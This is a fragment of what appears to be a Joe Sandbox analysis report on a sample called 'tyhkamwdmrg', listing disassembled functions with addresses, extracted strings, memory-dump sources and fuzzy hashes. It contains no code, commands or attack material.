Opcode Fuzzy Hash: c74d35510496cd7c5338f9a9802941f93e90f95c9ce13acc670c6b5c5b856d00
Instruction Fuzzy Hash: 1B1227742447418FD32ACF29C491662BBE3BF9A304B29C69DC4D64FB96C775E806CB90

Function 00319B75 Relevance: 3.0, Strings: 2, Instructions: 499COMMON

Download Yara Rule

Strings

., xrefs: 00319B77
&%$#, xrefs: 00319C70

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#$.
API String ID: 0-1366543173
Opcode ID: b3fdd5bd8808891d07a4c98f13fdb8e3adf4353761174c953dc304a327dab77a
Instruction ID: 8a547acb612ede058fd27ece6f28c8710898530faf49686d4233bd6f9166d739
Opcode Fuzzy Hash: b3fdd5bd8808891d07a4c98f13fdb8e3adf4353761174c953dc304a327dab77a
Instruction Fuzzy Hash: D9F14275208344CFD306DF28ECD1BABB7E5AB99314F484A2CF5958B2A2D735D944CB12

Function 00317B83 Relevance: 2.9, Strings: 2, Instructions: 395COMMON

Download Yara Rule

Strings

%}1, xrefs: 00317D1F
&%$#, xrefs: 00317D50

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: %}1$&%$#
API String ID: 0-1245494081
Opcode ID: 1a9365be99022d445db38123c1a8875c5547e1c3f326aba2089d585be3f9c7b5
Instruction ID: 18cf4a302a1637916045d85466872e101a9f1aa2e3664671428bca638e63361d
Opcode Fuzzy Hash: 1a9365be99022d445db38123c1a8875c5547e1c3f326aba2089d585be3f9c7b5
Instruction Fuzzy Hash: 80D1FA76E106258FCB19CF68D8517AEB7B2BF88310F1E42A9D515AB381DB70AD41CBC0

Function 002F9B90 Relevance: 2.9, Strings: 2, Instructions: 391COMMON

Download Yara Rule

Strings

?;=7, xrefs: 002F9CE7
FF #, xrefs: 002F9F30

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ?;=7$FF #
API String ID: 0-3592916358
Opcode ID: 85e0c88fd98b9dc1a145b5e23d2a89db410f9909c39b6a282e63c11142a462a1
Instruction ID: 3af5f690f42150ca720fd57b1b934ab14df1015f09d95676e68030565cf3a00b
Opcode Fuzzy Hash: 85e0c88fd98b9dc1a145b5e23d2a89db410f9909c39b6a282e63c11142a462a1
Instruction Fuzzy Hash: F8B104716483864BC316CF2988A036BFFE1AF97650F18496DE5D51B392C339894ACB52

Function 0041AA04 Relevance: 2.9, Strings: 2, Instructions: 390COMMON

Download Yara Rule

Strings

0, xrefs: 0041AB7B
ZwQuerySection, Unsupported class %d, xrefs: 0041AEDF

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 0$ZwQuerySection, Unsupported class %d
API String ID: 0-2380292483
Opcode ID: c996a2e687f39ac543ef93bcad763cb2c60cf8f4c032e84cd1c13fa38a379999
Instruction ID: 56f8bb27d1dfaf934505efddff45c411250dab4837fd3692347873db1c2f3412
Opcode Fuzzy Hash: c996a2e687f39ac543ef93bcad763cb2c60cf8f4c032e84cd1c13fa38a379999
Instruction Fuzzy Hash: B5F12870A042499FDB05DF68C580AEEB7F1FF48304F2484AAE814AB351D738ED95CB5A

Function 0032E250 Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

5432, xrefs: 0032E31A
5432, xrefs: 0032E263

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: 5432$5432
API String ID: 2994545307-3212520822
Opcode ID: 9654ccddac42117e4216778eef39415c993748be63dfff3cab8e34cb443cb558
Instruction ID: 63f2afd1d404756f5992b61fbaffd6159ea830e01616b727e269a8324c2c6598
Opcode Fuzzy Hash: 9654ccddac42117e4216778eef39415c993748be63dfff3cab8e34cb443cb558
Instruction Fuzzy Hash: F981F9357043219BC726DF28E85266BB3E6FF89310F59892CF99687290D734EC51C781

Function 0041DA18 Relevance: 2.8, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

ZwQueryValueKey, unsupported class %d, xrefs: 0041DD68
#, xrefs: 0041DC96

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: #$ZwQueryValueKey, unsupported class %d
API String ID: 0-453009116
Opcode ID: d123f7009ce22fd32d7f2c3f102fcc896e49f90dd5703f34a3defe0d6c858d9e
Instruction ID: 0d1125eb0505634516d0108be45d276775dee26e4a73f787b7e5af103d54bcc4
Opcode Fuzzy Hash: d123f7009ce22fd32d7f2c3f102fcc896e49f90dd5703f34a3defe0d6c858d9e
Instruction Fuzzy Hash: BAB1D6B0E00109AFDB51EF69D881AAEB7F5EF88300F14C566A814DB315DB78EE41CB94

Function 0032DF80 Relevance: 2.8, Strings: 2, Instructions: 279COMMON

Download Yara Rule

Strings

5432, xrefs: 0032DF97
5432, xrefs: 0032E044

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: 5432$5432
API String ID: 2994545307-3212520822
Opcode ID: 40e032034e4a90d127bd31a2693b7ded7ca41bd12e4774d761c82a8030e4e3c4
Instruction ID: f8f1165760bdf72b1e80c41ebe6b3d0ddc32d673dfbd9acec4f4a54d40e33ec0
Opcode Fuzzy Hash: 40e032034e4a90d127bd31a2693b7ded7ca41bd12e4774d761c82a8030e4e3c4
Instruction Fuzzy Hash: 0581E4343043128FDB16CF28D8C2A6AB3E6FF99710F59992CE9818B251D730EC51CB51

Function 00315F30 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

DF, xrefs: 0031600E
LN, xrefs: 00315FFE

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: DF$LN
API String ID: 0-2744014924
Opcode ID: 1566218687a586fecd8d578867945b74766fa94c5304b2b83263b2e866b33eb5
Instruction ID: cd6c35b5e6c2ee3e8e359e48ea784231f4d1715c7f7c643395cff726cf9a4a71
Opcode Fuzzy Hash: 1566218687a586fecd8d578867945b74766fa94c5304b2b83263b2e866b33eb5
Instruction Fuzzy Hash: 556114B16083048BC718DF24CC9266BBBE1FFD4354F09892CE5C68B391E7788945CB52

Function 00435958 Relevance: 2.7, Strings: 2, Instructions: 236COMMON

Download Yara Rule

Strings

lSC, xrefs: 00435979
d%6, xrefs: 004359FD

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: d%6$lSC
API String ID: 0-2336979643
Opcode ID: 1f64a52c6568632fb9150894d4f773548363fc0713c3766cc13d2b47f3cc25bd
Instruction ID: e1ff98e5cf73eafb8f54cdf5715d8fc5194b6786a22149802d42c698a41b64c0
Opcode Fuzzy Hash: 1f64a52c6568632fb9150894d4f773548363fc0713c3766cc13d2b47f3cc25bd
Instruction Fuzzy Hash: DCA13674A006089FDB11DF65C985B8EB7F5FF49304F5091A6E808AB3A1DB74AE81CF40

Function 0030E9A0 Relevance: 2.7, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

0, xrefs: 0030E9F2
000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081, xrefs: 0030EAEE

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 0$000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081
API String ID: 0-1241175353
Opcode ID: d6bf254df6236a0de6347e3a6d15d00f43aad7c545668eaffeab1d67d3907f88
Instruction ID: a9d310fc3e0faf92ceae98d579a83220d0361cd874272bb5a7a0440d57edfb14
Opcode Fuzzy Hash: d6bf254df6236a0de6347e3a6d15d00f43aad7c545668eaffeab1d67d3907f88
Instruction Fuzzy Hash: 9851F432B5E99047C72E997C4C712BA7A574BDA330F2DCBBEE9B28B3E1C52448095350

Function 00307FD3 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

(, xrefs: 0030800C
:;, xrefs: 00308105

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ($:;
API String ID: 0-4012147116
Opcode ID: 4afeb6302853ea907d77df1015a6968d16eaa5d8a78fe1c7ce851086ec825707
Instruction ID: 94504cf4ce8cb6aff250f8c911f93d9e44b44add9648907052d0a1fb81d68dc6
Opcode Fuzzy Hash: 4afeb6302853ea907d77df1015a6968d16eaa5d8a78fe1c7ce851086ec825707
Instruction Fuzzy Hash: E4412771609340DFC3258B28C8A17BBB7A1EFD6355F09991CE4C68B291EF348905CB83

Function 003076F4 Relevance: 2.7, Strings: 2, Instructions: 170COMMON

Download Yara Rule

Strings

(, xrefs: 0030800C
:;, xrefs: 00308105

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ($:;
API String ID: 0-4012147116
Opcode ID: de61e77284874cb737c5b7711a704f579ec66303333e5f48b0e0705d5e3a9679
Instruction ID: b7aa5dfc93acf2a0581a54bcf7de3486d54cd3908626cf8fa6fde09a05ada731
Opcode Fuzzy Hash: de61e77284874cb737c5b7711a704f579ec66303333e5f48b0e0705d5e3a9679
Instruction Fuzzy Hash: 0841047160A3409FD3158F28C8A17BBB7A1EFD6354F09991CE4C68B291EB388805CB82

Function 0030C0FE Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

J$2/, xrefs: 0030C12F
D, xrefs: 0030C106

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: D$J$2/
API String ID: 0-2617663312
Opcode ID: 36c18ef012ebefdb30b6a4cd3127d2b6aaae974180e60d73af49c811f38e19aa
Instruction ID: ad188bf0c98ee8652adb09fe0c747e41b5a49c4020a6e97e75e7e64574499dd5
Opcode Fuzzy Hash: 36c18ef012ebefdb30b6a4cd3127d2b6aaae974180e60d73af49c811f38e19aa
Instruction Fuzzy Hash: 9D31016151D3819BD74ACB3898A0B6BBFE59FA3304F582D8DE0C28B2D3D6648909C756

Function 00315C50 Relevance: 2.6, Strings: 2, Instructions: 84COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00315CCA
0W1, xrefs: 00315D10

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: &%$#$0W1
API String ID: 2994545307-1929225767
Opcode ID: eb2baf4fc450f5cd38ae19236b30e25f1849e7d811723c34fa028de926e66199
Instruction ID: cd2b6a1f24139959f79fd3cec04bb95a49b6fe3568bdff8ca654e63a2bcc8d40
Opcode Fuzzy Hash: eb2baf4fc450f5cd38ae19236b30e25f1849e7d811723c34fa028de926e66199
Instruction Fuzzy Hash: 80117D72A58710C7C31A9F649DD027AB7E9E7C9310F655B2CE8C627702D270EC4187C5

Function 0030D38F Relevance: 2.0, Strings: 1, Instructions: 734COMMON

Download Yara Rule

Strings

j.l, xrefs: 0030D7C2

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: j.l
API String ID: 0-1443887679
Opcode ID: 1844bf5115da7e235eea86939f7bf6620a633bda5af622125b0e4325b25c1112
Instruction ID: 864fbc2908d4160d7263b3213fd1baa153b87922f37099db4e9c74cdc86d2f90
Opcode Fuzzy Hash: 1844bf5115da7e235eea86939f7bf6620a633bda5af622125b0e4325b25c1112
Instruction Fuzzy Hash: 121255B1902622CBCB25DF68C8A23B7B7B1FF51314F199248D8865B7D8E335A851CBD1

Function 0032CBC0 Relevance: 1.9, Strings: 1, Instructions: 616COMMON

Download Yara Rule

Strings

;MN, xrefs: 0032CC20

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ;MN
API String ID: 0-3708602092
Opcode ID: beaf98fa1e30900bb696caa7437e995e1169f3473004e25543e4118d4c314cf5
Instruction ID: 192d60add31c6d81216071a4c539d0d021fbc468f3072c372fb0aa4a1923ba16
Opcode Fuzzy Hash: beaf98fa1e30900bb696caa7437e995e1169f3473004e25543e4118d4c314cf5
Instruction Fuzzy Hash: 1C022271608251CFD719CF38D8A166BB7E6FB8A320F1A897DD98697291D634E901CB80

Function 00306324 Relevance: 1.8, Strings: 1, Instructions: 574COMMON

Download Yara Rule

Strings

&%$#, xrefs: 003063B0

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#
API String ID: 0-3373546273
Opcode ID: c9c79bda55d91a19cfa2b2354897cf22e2663d1dae3a0530b956e211e712474e
Instruction ID: 023395a7c7a757f55f4118446f9a542aef24cbb6fa2fc8fa5524fa2678a3465f
Opcode Fuzzy Hash: c9c79bda55d91a19cfa2b2354897cf22e2663d1dae3a0530b956e211e712474e
Instruction Fuzzy Hash: 13123A72A08251CFD726CF24CCA276BB7E6BF98304F068A3DE48A97295D734D911C781

Function 00421EB0 Relevance: 1.8, Strings: 1, Instructions: 518COMMON

Download Yara Rule

Strings

MZP, xrefs: 00421F79

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: MZP
API String ID: 0-2889622443
Opcode ID: a4d8ba5eebec58002ab74fa28a30024bae2f07640e3af2a06de9744daa930d0c
Instruction ID: e5f4e094f82579fd254536a347b9d05879eadea0c5d355c6194a6599be755db6
Opcode Fuzzy Hash: a4d8ba5eebec58002ab74fa28a30024bae2f07640e3af2a06de9744daa930d0c
Instruction Fuzzy Hash: AC120474A00218AFDB11EFA8C981FAEB7F5BB48300F508165E904EF395C7B4AD41CBA5

Function 00311E70 Relevance: 1.7, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

&#, xrefs: 00311EB4

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &#
API String ID: 0-1789715784
Opcode ID: 856f220fbed47ab2595fb28598880e263446f2f8c93f16b04359f3bbb8445019
Instruction ID: 379431f0af55f18f46feab7c650a564476a875864dbdee3039daa797ed68b26d
Opcode Fuzzy Hash: 856f220fbed47ab2595fb28598880e263446f2f8c93f16b04359f3bbb8445019
Instruction Fuzzy Hash: 28B16A72A083009BD729DF24CC427BBB3E1EF99324F0A862CF98687281E334D855C752

Function 0031AB40 Relevance: 1.7, Strings: 1, Instructions: 409COMMON

Download Yara Rule

Strings

", xrefs: 0031AE27

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

